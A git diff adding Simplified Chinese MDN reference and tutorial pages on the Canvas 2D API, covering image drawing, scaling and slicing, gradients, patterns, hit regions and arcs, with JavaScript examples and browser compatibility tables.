drawImage 方法的又一变种是增加了两个用于控制图像在 canvas 中缩放的参数。

+ +
+
{{domxref("CanvasRenderingContext2D.drawImage", "drawImage(image, x, y, width, height)")}}
+
这个方法多了2个参数:width 和 height,这两个参数用来控制 当向canvas画入时应该缩放的大小
+
+ +

例子:平铺图像

+ +

+ +

在这个例子里,我会用一张图片像背景一样在 canvas 中以重复平铺开来。实现起来也很简单,只需要循环铺开经过缩放的图片即可。见下面的代码,第一层 for 循环是做行重复,第二层是做列重复的。图像大小被缩放至原来的三分之一,50x38 px。这种方法可以用来很好的达到背景图案的效果,在下面的教程中会看到。

+ +
+

注意:图像可能会因为大幅度的缩放而变得起杂点或者模糊。如果您的图像里面有文字,那么最好还是不要进行缩放,因为那样处理之后很可能图像里的文字就会变得无法辨认了。

+
+ + + +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  var img = new Image();
+  img.onload = function(){
+    for (var i=0;i<4;i++){
+      for (var j=0;j<3;j++){
+        ctx.drawImage(img,j*50,i*38,50,38);
+      }
+    }
+  };
+  img.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg';
+}
+ +

结果看起来像这样:

+ +

{{EmbedLiveSample("Example_Tiling_an_image", 160, 160, "https://mdn.mozillademos.org/files/251/Canvas_scale_image.png")}}

+ +

切片 Slicing

+ +

drawImage 方法的第三个也是最后一个变种有8个新参数,用于控制做切片显示的。

+ +
+
{{domxref("CanvasRenderingContext2D.drawImage", "drawImage(image, sx, sy, sWidth, sHeight, dx, dy, dWidth, dHeight)")}}
+
第一个参数和其它的是相同的,都是一个图像或者另一个 canvas 的引用。其它8个参数最好是参照右边的图解,前4个是定义图像源的切片位置和大小,后4个则是定义切片的目标显示位置和大小。
+
+ +

+ +

切片是个做图像合成的强大工具。假设有一张包含了所有元素的图像,那么你可以用这个方法来合成一个完整图像。例如,你想画一张图表,而手上有一个包含所有必需的文字的 PNG 文件,那么你可以很轻易的根据实际数据的需要来改变最终显示的图表。这方法的另一个好处就是你不需要单独装载每一个图像。

+ +

例子:相框

+ +

+ +

在这个例子里面我用到上面已经用过的犀牛图像,不过这次我要给犀牛头做个切片特写,然后合成到一个相框里面去。相框带有阴影效果,是一个以 24-bit PNG 格式保存的图像。因为 24-bit PNG 图像带有一个完整的 8-bit alpha 通道,与 GIF 和 8-bit PNG 不同,我可以将它放成背景而不必担心底色的问题。

+ +

我用一个与上面用到的不同的方法来装载图像,直接将图像插入到 HTML 里面,然后通过 CSS 隐藏(display:none)它。两个图像我都赋了 id ,方便后面使用。看下面的脚本,相当简单,首先对犀牛头做好切片(第一次drawImage)放在 canvas 上,然后再上面套个相框(第二次drawImage)。

+ +
<html>
+ <body onload="draw();">
+   <canvas id="canvas" width="150" height="150"></canvas>
+   <div style="display:none;">
+     <img id="source" src="https://mdn.mozillademos.org/files/5397/rhino.jpg" width="300" height="227">
+     <img id="frame" src="https://mdn.mozillademos.org/files/242/Canvas_picture_frame.png" width="132" height="150">
+   </div>
+ </body>
+</html>
+ +
function draw() {
+  var canvas = document.getElementById('canvas');
+  var ctx = canvas.getContext('2d');
+
+  // Draw slice
+  ctx.drawImage(document.getElementById('source'),
+                33,71,104,124,21,20,87,104);
+
+  // Draw frame
+  ctx.drawImage(document.getElementById('frame'),0,0);
+}
+
+ +

{{EmbedLiveSample("Example_Framing_an_image", 160, 160, "https://mdn.mozillademos.org/files/226/Canvas_drawimage2.jpg")}}

+ + + +

+ +

我这一章最后的示例是弄一个小画廊。画廊由挂着几张画作的格子组成。当页面装载好之后,为每张画创建一个 canvas 元素并用加上画框然后插入到画廊中去。

+ +

在我这个例子里面,所有“画”都是固定宽高的,画框也是。你可以做些改进,通过脚本用画的宽高来准确控制围绕它的画框的大小。

+ +

下面的代码应该是蛮简单易懂的了。就是遍历图像对象数组,依次创建新的 canvas 元素并添加进去。可能唯一需要注意的,对于那些并不熟悉 DOM 的朋友来说,是 insertBefore 方法的用法。insertBefore 是父节点(单元格)的方法,用于将新节点(canvas 元素)插入到我们想要插入的节点之前。

+ +
<html>
+ <body onload="draw();">
+     <table>
+      <tr>
+        <td><img src="https://mdn.mozillademos.org/files/5399/gallery_1.jpg"></td>
+        <td><img src="https://mdn.mozillademos.org/files/5401/gallery_2.jpg"></td>
+        <td><img src="https://mdn.mozillademos.org/files/5403/gallery_3.jpg"></td>
+        <td><img src="https://mdn.mozillademos.org/files/5405/gallery_4.jpg"></td>
+      </tr>
+      <tr>
+        <td><img src="https://mdn.mozillademos.org/files/5407/gallery_5.jpg"></td>
+        <td><img src="https://mdn.mozillademos.org/files/5409/gallery_6.jpg"></td>
+        <td><img src="https://mdn.mozillademos.org/files/5411/gallery_7.jpg"></td>
+        <td><img src="https://mdn.mozillademos.org/files/5413/gallery_8.jpg"></td>
+      </tr>
+     </table>
+     <img id="frame" src="https://mdn.mozillademos.org/files/242/Canvas_picture_frame.png" width="132" height="150">
+ </body>
+</html>
+ +
body {
+  background: 0 -100px repeat-x url(https://mdn.mozillademos.org/files/5415/bg_gallery.png) #4F191A;
+  margin: 10px;
+}
+
+img {
+  display: none;
+}
+
+table {
+  margin: 0 auto;
+}
+
+td {
+  padding: 15px;
+}
+ +
function draw() {
+
+  // Loop through all images
+  for (i=0;i<document.images.length;i++){
+
+    // Don't add a canvas for the frame image
+    if (document.images[i].getAttribute('id')!='frame'){
+
+      // Create canvas element
+      canvas = document.createElement('CANVAS');
+      canvas.setAttribute('width',132);
+      canvas.setAttribute('height',150);
+
+      // Insert before the image
+      document.images[i].parentNode.insertBefore(canvas,document.images[i]);
+
+      ctx = canvas.getContext('2d');
+
+      // Draw image to canvas
+      ctx.drawImage(document.images[i],15,20);
+
+      // Add frame
+      ctx.drawImage(document.getElementById('frame'),0,0);
+    }
+  }
+}
+
+ +

{{EmbedLiveSample("Art_gallery_example", 725, 400)}}

+ +

控制图像的缩放行为 Controlling image scaling behavior

+ +

如同前文所述,过度缩放图像可能会导致图像模糊或像素化。您可以通过使用绘图环境的{{domxref("CanvasRenderingContext2D.imageSmoothingEnabled", "imageSmoothingEnabled")}}属性来控制是否在缩放图像时使用平滑算法。默认值为true,即启用平滑缩放。您也可以像这样禁用此功能:

+ +
ctx.mozImageSmoothingEnabled = false;
+ctx.webkitImageSmoothingEnabled = false;
+ctx.msImageSmoothingEnabled = false;
+ctx.imageSmoothingEnabled = false;
+ +

{{PreviousNext("Web/API/Canvas_API/Tutorial/Drawing_text", "Web/API/Canvas_API/Tutorial/Transformations")}}

diff --git a/files/zh-cn/web/api/canvascapturemediastream/index.html b/files/zh-cn/web/api/canvascapturemediastream/index.html new file mode 100644 index 0000000000..1a71e7d834 --- /dev/null +++ b/files/zh-cn/web/api/canvascapturemediastream/index.html @@ -0,0 +1,103 @@ +--- +title: CanvasCaptureMediaStream +slug: Web/API/CanvasCaptureMediaStream +translation_of: Web/API/CanvasCaptureMediaStreamTrack +--- +
{{APIRef}}{{SeeCompatTable}}
+ +

CanvasCaptureMediaStream 接口表示 {{domxref("MediaStream")}} 对 {{domxref("HTMLCanvasElement")}} 元素进行实时画面捕捉的内容。

+ +

属性

+ +

此接口继承了其父类 {{domxref("MediaStream")}} 与 {{domxref("EventTarget")}} 的属性。

+ +
+
{{domxref("CanvasCaptureMediaStream.canvas")}} {{readonlyInline}}
+
可返回当前媒体流所对应的 {{domxref("HTMLCanvasElement")}} 元素对象。
+
+ +

方法

+ +

此接口继承了其父类 {{domxref("MediaStream")}} 与 {{domxref("EventTarget")}} 的方法。

+ +
+
{{domxref("CanvasCaptureMediaStream.requestFrame()")}}
+
手动获取媒体流的一帧。 可以捕捉部分渲染帧画面.
+
+ +

说明

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture DOM Elements', '#idl-def-CanvasCaptureMediaStream', 'CanvasCaptureMediaStream')}}{{Spec2('Media Capture DOM Elements')}}Initial definition
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(51.0)}}{{CompatGeckoDesktop('41')}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatGeckoMobile('41')}}[1]{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

[1] Disabled by default; set the preference canvas.capturestream.enabled to true to activate.

+ +

其他参考资料

+ + diff --git a/files/zh-cn/web/api/canvasgradient/addcolorstop/index.html b/files/zh-cn/web/api/canvasgradient/addcolorstop/index.html new file mode 100644 index 0000000000..1fd9a8152f --- /dev/null +++ b/files/zh-cn/web/api/canvasgradient/addcolorstop/index.html @@ -0,0 +1,172 @@ +--- +title: CanvasGradient.addColorStop() +slug: Web/API/CanvasGradient/addColorStop +translation_of: Web/API/CanvasGradient/addColorStop +--- +
{{APIRef("Canvas")}}
+ +

CanvasGradient.addColorStop() 方法添加一个由偏移值颜色值指定的断点到渐变。如果偏移值不在01之间,将抛出INDEX_SIZE_ERR错误,如果颜色值不能被解析为有效的CSS颜色值 {{cssxref("<color>")}},将抛出SYNTAX_ERR错误。

+ +

语法

+ +
void gradient.addColorStop(offset, color);
+
+ +

参数

+ +
+
offset
+
01之间的值,超出范围将抛出INDEX_SIZE_ERR错误
+
color
+
CSS颜色值 {{cssxref("<color>")}}。如果颜色值不能被解析为有效的CSS颜色值 <color>,将抛出SYNTAX_ERR错误。
+
+ +

示例

+ +

使用addColorStop方法

+ +

一个使用{{domxref("CanvasGradient")}}对象的addColorStop 方法的简单例子

+ +

HTML

+ +
 <canvas id="canvas"></canvas>
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+var gradient = ctx.createLinearGradient(0,0,200,0);
+gradient.addColorStop(0,"green");
+gradient.addColorStop(1,"white");
+ctx.fillStyle = gradient;
+ctx.fillRect(10,10,200,100);
+
+ +

编辑以下代码可看到画布变化:

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+var gradient = ctx.createLinearGradient(0,0,200,0);
+gradient.addColorStop(0,"green");
+gradient.addColorStop(1,"white");
+ctx.fillStyle = gradient;
+ctx.fillRect(10,10,200,100);</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

标准

+ + + + + + + + + + + + + + + + + + + +
标准状态备注
{{SpecName('HTML WHATWG', "scripting.html#dom-canvasgradient-addcolorstop", "CanvasGradient.addColorStop")}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML Canvas 2D Context W3C', "#dom-canvasgradient-addcolorstop", "CanvasGradient.addColorStop")}}{{Spec2('HTML5 W3C')}} 
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
功能ChromeFirefox (Gecko)Internet ExplorerOperaSafari
基本支持{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
功能AndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
基本支持{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +

请参阅

+ + diff --git a/files/zh-cn/web/api/canvasgradient/index.html b/files/zh-cn/web/api/canvasgradient/index.html new file mode 100644 index 0000000000..a504dc443b --- /dev/null +++ b/files/zh-cn/web/api/canvasgradient/index.html @@ -0,0 +1,104 @@ +--- +title: CanvasGradient +slug: Web/API/CanvasGradient +translation_of: Web/API/CanvasGradient +--- +
{{APIRef("Canvas")}}
+ +

CanvasGradient 接口表示描述渐变的不透明对象。通过 {{domxref("CanvasRenderingContext2D.createLinearGradient()")}} 或 {{domxref("CanvasRenderingContext2D.createRadialGradient()")}} 的返回值得到.

+ +

属性

+ +

不透明对象,没有暴露的属性.

+ +

方法

+ +

没有继承的方法

+ +
+
{{domxref("CanvasGradient.addColorStop()")}}
+
添加一个由偏移(offset)和颜色(color)定义的断点到渐变中。如果偏移值不在0到1之间,将抛出INDEX_SIZE_ERR错误,如果颜色值不能被解析为有效的CSS颜色值 {{cssxref("<color>")}},将抛出SYNTAX_ERR错误。
+
+ +

标准

+ + + + + + + + + + + + + + + + + + + + + +
标准状态备注
{{SpecName('HTML WHATWG', "the-canvas-element.html#canvasgradient", "CanvasGradient")}}{{Spec2('HTML WHATWG')}}同 {{Spec2('HTML Canvas 2D Context W3C')}}
{{SpecName('HTML Canvas 2D Context W3C', '#canvasgradient', 'CanvasGradient')}}{{Spec2('HTML Canvas 2D Context W3C')}}初始定义
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
功能ChromeFirefox (Gecko)Internet ExplorerOperaSafari
基本支持4.0{{CompatGeckoDesktop("3.6")}} [1]9.09.03.1
+
+ +
+ + + + + + + + + + + + + + + + + + + +
功能AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
基本支持2.1{{CompatGeckoMobile("3.6")}} [1]{{CompatUnknown}}10.03.2
+
+ +

[1] 在Gecko 5.0 {{geckoRelease("5.0")}} 以前,通过调用addColorStop()添加颜色断点时给定非有限的值,会错误的抛出 SYNTAX_ERR 而不是INDEX_SIZE_ERR

+ +

请参考

+ + diff --git a/files/zh-cn/web/api/canvasimagesource/index.html b/files/zh-cn/web/api/canvasimagesource/index.html new file mode 100644 index 0000000000..4e54de162c --- /dev/null +++ b/files/zh-cn/web/api/canvasimagesource/index.html @@ -0,0 +1,29 @@ +--- +title: CanvasImageSource +slug: Web/API/CanvasImageSource +translation_of: Web/API/CanvasImageSource +--- +

{{APIRef("Canvas API")}}

+ +

CanvasImageSource 是一个辅助类型,描述下面类型的任何一个对象:{{domxref("HTMLImageElement")}}, {{domxref("HTMLVideoElement")}}, {{domxref("HTMLCanvasElement")}}, {{domxref("CanvasRenderingContext2D")}}, 或 {{domxref("ImageBitmap")}}.

+ +

这是简化规范的辅助类型, 它不是一个接口,也没有对象实现它。

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#canvasimagesource", "CanvasImageSource")}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

 

diff --git a/files/zh-cn/web/api/canvaspattern/index.html b/files/zh-cn/web/api/canvaspattern/index.html new file mode 100644 index 0000000000..0fe68e2fb4 --- /dev/null +++ b/files/zh-cn/web/api/canvaspattern/index.html @@ -0,0 +1,108 @@ +--- +title: CanvasPattern +slug: Web/API/CanvasPattern +translation_of: Web/API/CanvasPattern +--- +
+ {{APIRef("Canvas")}}
+

CanvasPattern 接口表示描述一个模板(基于image, canvas或video)的不透明对象,通过 {{domxref("CanvasRenderingContext2D.createPattern()")}} 方法创建.

+

属性

+

非透明对象,没有暴露出属性

+

方法

+

没有继承来的方法

+
+
+ {{domxref("CanvasPattern.setTransform()")}} {{experimental_inline}}
+
+ 应用 {{domxref("SVGMatrix")}} 对模板做线性变换
+
+

标准

+ + + + + + + + + + + + + + + + + + + + +
标准状态备注
{{SpecName('HTML WHATWG', "the-canvas-element.html#canvaspattern", "CanvasPattern")}}{{Spec2('HTML WHATWG')}}新增 setTransform() 方法
{{SpecName('HTML Canvas 2D Context W3C', '#canvaspattern', 'CanvasPattern')}}{{Spec2('HTML Canvas 2D Context W3C')}}初始定义
+

浏览器兼容性

+
+ {{CompatibilityTable}}
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
功能ChromeFirefox (Gecko)Internet ExplorerOperaSafari
基本的支持4.0{{CompatGeckoDesktop("1.9.2")}}9.09.03.1
setTransform(){{experimental_inline}}{{CompatNo}}{{CompatGeckoDesktop("33")}}{{CompatUnknown}}{{CompatNo}}{{CompatUnknown}}
+
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
功能AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
基本的支持2.1{{CompatGeckoMobile("1.9.2")}}{{CompatUnknown}}10.03.2
setTransform(){{experimental_inline}}{{CompatUnknown}}{{CompatGeckoMobile("33")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+

查看相关

+ diff --git a/files/zh-cn/web/api/canvaspattern/settransform/index.html b/files/zh-cn/web/api/canvaspattern/settransform/index.html new file mode 100644 index 0000000000..d53a0bf44b --- /dev/null +++ b/files/zh-cn/web/api/canvaspattern/settransform/index.html @@ -0,0 +1,180 @@ +--- +title: CanvasPattern.setTransform() +slug: Web/API/CanvasPattern/setTransform +translation_of: Web/API/CanvasPattern/setTransform +--- +
{{APIRef("Canvas API")}} {{SeeCompatTable}}
+ +

CanvasPattern.setTransform() 方法使用 {{domxref("SVGMatrix")}} 对象作为图案的变换矩阵,并在此图案上调用它。

+ +

语法

+ +
void pattern.setTransform(matrix);
+
+ +

参数

+ +
+
matrix
+
{{domxref("SVGMatrix")}} ,被用作图案的变换矩阵。
+
+ +

示例

+ +

使用 setTransform 方法

+ +

这是一段简单的代码片段,使用 setTransform 方法创建一个来自 {{domxref("SVGMatrix")}} 具有指定图案变化的{{domxref("CanvasPattern")}} 。如例子所示,如果你把图案赋值给当前的 {{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle")}} ,当你使用 {{domxref("CanvasRenderingContext2D.fillRect", "fillRect()")}} 方法时,图案会被应用到 canvas 上绘制出效果。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+<svg id="svg1"></svg>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+var svg1 = document.getElementById("svg1");
+var matrix = svg1.createSVGMatrix();
+
+var img = new Image();
+img.src = 'https://mdn.mozillademos.org/files/222/Canvas_createpattern.png';
+
+img.onload = function() {
+  var pattern = ctx.createPattern(img, 'repeat');
+  pattern.setTransform(matrix.rotate(-45).scale(1.5));
+  ctx.fillStyle = pattern;
+  ctx.fillRect(0,0,400,400);
+};
+
+ +

修改下面的代码并在线查看 canvas 的变化:

+ + + +

{{ EmbedLiveSample('Playable_code', 700, 380) }}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-canvaspattern-settransform", "CanvasPattern.setTransform")}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{ CompatGeckoDesktop("33") }}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{ CompatGeckoMobile("33") }}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/addhitregion/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/addhitregion/index.html new file mode 100644 index 0000000000..1b1d7fc589 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/addhitregion/index.html @@ -0,0 +1,307 @@ +--- +title: CanvasRenderingContext2D.addHitRegion() +slug: Web/API/CanvasRenderingContext2D/addHitRegion +translation_of: Web/API/CanvasRenderingContext2D/addHitRegion +--- +
{{APIRef}} {{obsolete_header}}
+ +

CanvasRenderingContext2D.addHitRegion() 是 Canvas 2D API 给位图添加点击区域的方法。 它允许你很容易地实现一个点击区域, 让你触发 DOM 元素的事件, 去探索看不见的画布。

+ +

语法

+ +
void ctx.addHitRegion(options);
+
+ +

选项

+ +

options 参数是可选的。 当赋值时, {{jsxref("Object")}} 包含以下属性:

+ +
+
path
+
{{domxref("Path2D")}} 对象, 描述点击区的区域范围。 如果不给此属性赋值, 则会使用当前的路径。
+
fillRule
+
遵循的填充规则(默认是“nonzero”)。
+
id
+
点击区的ID,在事件中可以引用此ID,就像示例中那样。
+
parentID
+
父区域的ID,为了光标回退或者辅助工具导航 。
+
cursor
+
鼠标移动到点击区时的 {{cssxref("cursor")}}  (默认是 "inherit")。 继承父点击区域的光标,或者canvas元素的光标。
+
control
+
触发事件的元素(canvas的子孙元素)。 默认为 null。
+
label
+
如果没有control属性,文本标签作为辅助工具,用作点击区域的描述。 默认为 null。
+
role
+
 如果没有control属性,ARIA role 作为辅助工具,决定如何表示点击区域。 默认为 null.
+
+ +

示例

+ +

使用 addHitRegion 方法

+ +

这是一段使用 addHitRegion 方法的简单的代码片段。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+canvas.addEventListener("mousemove", function(event){
+  if(event.region) {
+    alert("ouch, my eye :(");
+  }
+});
+
+ctx.beginPath();
+ctx.arc(100, 100, 75, 0, 2 * Math.PI, false);
+ctx.lineWidth = 5;
+ctx.stroke();
+
+// eyes
+ctx.beginPath();
+ctx.arc(70, 80, 10, 0, 2 * Math.PI, false);
+ctx.arc(130, 80, 10, 0, 2 * Math.PI, false);
+ctx.fill();
+ctx.addHitRegion({id: "eyes"});
+
+// mouth
+ctx.beginPath();
+ctx.arc(100, 110, 50, 0, Math.PI, false);
+ctx.stroke();
+
+ +

修改下面的代码并在线查看canvas的变化(如果你没有看到全部的效果,请查看浏览器兼容性列表。如果你当前的浏览器支持点击区域,你需要激活偏好设置) 。

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code" style="height:250px">
+ctx.beginPath();
+ctx.arc(100, 100, 75, 0, 2 * Math.PI, false);
+ctx.lineWidth = 5;
+ctx.stroke();
+
+// eyes
+ctx.beginPath();
+ctx.arc(70, 80, 10, 0, 2 * Math.PI, false);
+ctx.arc(130, 80, 10, 0, 2 * Math.PI, false);
+ctx.fill();
+ctx.addHitRegion({id: "eyes"});
+
+// mouth
+ctx.beginPath();
+ctx.arc(100, 110, 50, 0, Math.PI, false);
+ctx.stroke();</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+});
+
+canvas.addEventListener("mousemove", function(event){
+  if(event.region) {
+    alert("ouch, my eye :(");
+  }
+});
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Playable_code', 700, 520) }}

+ +

规范描述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-addhitregion", "CanvasRenderingContext2D.addHitRegion")}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}[1]{{CompatGeckoDesktop(30)}} [2]{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
id{{CompatVersionUnknown}}[1]{{CompatGeckoDesktop(30)}} [2]{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
control{{CompatVersionUnknown}}[1]{{CompatGeckoDesktop(30)}} [2]{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
path{{CompatVersionUnknown}}[1]{{CompatGeckoDesktop(39)}} [2]{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
fillRule{{CompatVersionUnknown}}[1]{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
other hit region options{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatNo }}{{ CompatNo }}{{CompatGeckoMobile(30)}}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
id{{ CompatNo }}{{ CompatNo }}{{CompatGeckoMobile(30)}}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
control{{ CompatNo }}{{ CompatNo }}{{CompatGeckoMobile(30)}}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
path{{ CompatNo }}{{ CompatNo }}{{CompatGeckoMobile(39)}}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
fillRule{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
other hit region options{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}{{ CompatNo }}
+
+ +

兼容性注解

+ + + +

参见

+ + diff --git a/files/zh-cn/web/api/canvasrenderingcontext2d/arc/index.html b/files/zh-cn/web/api/canvasrenderingcontext2d/arc/index.html new file mode 100644 index 0000000000..05b8ea3b62 --- /dev/null +++ b/files/zh-cn/web/api/canvasrenderingcontext2d/arc/index.html @@ -0,0 +1,218 @@ +--- +title: CanvasRenderingContext2D.arc() +slug: Web/API/CanvasRenderingContext2D/arc +translation_of: Web/API/CanvasRenderingContext2D/arc +--- +
{{APIRef}}
+ +

CanvasRenderingContext2D.arc() 是 Canvas 2D API 绘制圆弧路径的方法。 圆弧路径的圆心在 (x, y) 位置,半径为 r ,根据anticlockwise (默认为顺时针)指定的方向从 startAngle 开始绘制,到 endAngle 结束。

+ +

语法

+ +
void ctx.arc(x, y, radius, startAngle, endAngle, anticlockwise);
+
+ +

Parameters

+ +
+
x
+
圆弧中心(圆心)的 x 轴坐标。
+
y
+
圆弧中心(圆心)的 y 轴坐标。
+
radius
+
圆弧的半径。
+
startAngle
+
圆弧的起始点, x轴方向开始计算,单位以弧度表示。
+
endAngle
+
圆弧的终点, 单位以弧度表示。
+
anticlockwise {{optional_inline}}
+
可选的{{jsxref("Boolean")}}值 ,如果为 true,逆时针绘制圆弧,反之,顺时针绘制。 
+
+ +

示例

+ +

使用 arc 方法

+ +

这是一段绘制圆的简单的代码片段。

+ +

HTML

+ +
<canvas id="canvas"></canvas>
+
+ +

JavaScript

+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.beginPath();
+ctx.arc(75, 75, 50, 0, 2 * Math.PI);
+ctx.stroke();
+
+ +

修改下面的代码并在线查看 canvas 的变化:

+ +
+
Playable code
+ +
<canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas>
+<div class="playable-buttons">
+  <input id="edit" type="button" value="Edit" />
+  <input id="reset" type="button" value="Reset" />
+</div>
+<textarea id="code" class="playable-code">
+ctx.beginPath();
+ctx.arc(50, 50, 50, 0, 2 * Math.PI, false);
+ctx.stroke();</textarea>
+
+ +
var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+
+
+ +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

不同的形状演示

+ +

在此例中,使用 arc() 尽可能地绘制不同的形状。

+ +
+
HTML
+ +
<canvas id="canvas" width="150" height="200"></canvas>
+
+ +
JavaScript
+
+ +
var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+// Draw shapes
+for (i=0;i<4;i++){
+  for(j=0;j<3;j++){
+    ctx.beginPath();
+    var x          = 25+j*50;               // x coordinate
+    var y          = 25+i*50;               // y coordinate
+    var radius     = 20;                    // Arc radius
+    var startAngle = 0;                     // Starting point on circle
+    var endAngle   = Math.PI+(Math.PI*j)/2; // End point on circle
